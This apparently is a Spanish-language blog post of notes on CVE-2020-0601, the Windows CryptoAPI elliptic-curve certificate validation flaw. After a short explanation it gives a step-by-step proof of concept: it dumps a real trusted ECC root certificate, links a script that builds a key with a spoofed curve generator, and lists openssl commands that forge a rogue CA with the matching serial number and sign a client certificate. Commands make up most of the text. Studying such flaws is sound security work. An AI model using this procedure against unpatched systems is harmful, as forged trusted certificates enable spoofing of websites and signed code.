Apuntes sobre CVE-2020-0601

1- El problema no está en las operaciones criptográficas

2- Normalmente es posible crear una clave privada para una clave pública existente y elegir cualquier generador. (Sin utilizar el generador estándar).

En certificados x.509 se puede elegir su propio generador con la opción “explicit parameters”

3- El problema es que CryptoAPI está considerando falsamente que una CA raíz modificada está en el almacén de certificados de CA, solo porque su clave pública y número de serie coinciden con un certificado que ya está en la memoria caché de certificados, sin considerar que el certificado modificado no utiliza los mismos parámetros de curva que el que está en su caché.

4- Considerando el punto 2 y 3 podríamos engañar a Microsoft CryptoAPI para que crea que realmente conocemos la clave secreta de algún certificado de CA, mientras que en realidad solo conocemos la clave secreta cuando utilizamos un generador diferente al estandarizado.

Práctica:

1- Necesitará encontrar un certificado de destino que esté en Trusted Root CA de Windows y que esté usando ECC
http://www.tbs-x509.com/USERTrustECCCertificationAuthority.crt

2- Ejecutar: openssl x509 -in USERTrustECCCertificationAuthority.crt -text -noout

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            5c:8b:99:c5:5a:94:c5:d2:71:56:de:cd:89:80:cc:26
        Signature Algorithm: ecdsa-with-SHA384
        Issuer: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority
        Validity
            Not Before: Feb  1 00:00:00 2010 GMT
            Not After : Jan 18 23:59:59 2038 GMT
        Subject: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (384 bit)
                pub:
                    04:1a:ac:54:5a:a9:f9:68:23:e7:7a:d5:24:6f:53:
                    c6:5a:d8:4b:ab:c6:d5:b6:d1:e6:73:71:ae:dd:9c:
                    d6:0c:61:fd:db:a0:89:03:b8:05:14:ec:57:ce:ee:
                    5d:3f:e2:21:b3:ce:f7:d4:8a:79:e0:a3:83:7e:2d:
                    97:d0:61:c4:f1:99:dc:25:91:63:ab:7f:30:a3:b4:
                    70:e2:c7:a1:33:9c:f3:bf:2e:5c:53:b1:5f:b3:7d:
                    32:7f:8a:34:e3:79:79
                ASN1 OID: secp384r1
                NIST CURVE: P-384
        X509v3 extensions:
            X509v3 Subject Key Identifier: 
                3A:E1:09:86:D4:CF:19:C2:96:76:74:49:76:DC:E0:35:C6:63:63:9A
            X509v3 Key Usage: critical
                Certificate Sign, CRL Sign
            X509v3 Basic Constraints: critical
                CA:TRUE
    Signature Algorithm: ecdsa-with-SHA384
         30:65:02:30:36:67:a1:16:08:dc:e4:97:00:41:1d:4e:be:e1:
         63:01:cf:3b:aa:42:11:64:a0:9d:94:39:02:11:79:5c:7b:1d:
         fa:64:b9:ee:16:42:b3:bf:8a:c2:09:c4:ec:e4:b1:4d:02:31:
         00:e9:2a:61:47:8c:52:4a:4b:4e:18:70:f6:d6:44:d6:6e:f5:
         83:ba:6d:58:bd:24:d9:56:48:ea:ef:c4:a2:46:81:88:6a:3a:
         46:d1:a9:9b:4d:c9:61:da:d1:5d:57:6a:18

3-La keypub es: 1a:ac:54:5a:a9:f9:68:23:e7:7a:d5:24:6f:53:
                c6:5a:d8:4b:ab:c6:d5:b6:d1:e6:73:71:ae:dd:9c:
                d6:0c:61:fd:db:a0:89:03:b8:05:14:ec:57:ce:ee:
                5d:3f:e2:21:b3:ce:f7:d4:8a:79:e0:a3:83:7e:2d:
                97:d0:61:c4:f1:99:dc:25:91:63:ab:7f:30:a3:b4:
                70:e2:c7:a1:33:9c:f3:bf:2e:5c:53:b1:5f:b3:7d:
                32:7f:8a:34:e3:79:79 (sin el 04)

4- Ejecutar: openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicity

5- Código python para crear el p384-key-rouge.pm (genera archivo pem con parámetros de curva explícitos y usa el generador falso junto con nuestra clave privada elegida): https://github.com/kudelskisecurity/chainoffools/blob/master/gen-key.py

6-openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -set_serial 0x5c8b99c55a94c5d27156decd8980cc26

7- Producir el certificado que queremos usar: openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem

8- Solicitud de firma de certificado: openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr

9- Firmar el CSR utilizando nuestra entidad no autorizada para obtener nuestro certificado público final:
openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf

Textos y fuentes:

https://github.com/kudelskisecurity/chainoffools/

Explicación y poc

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *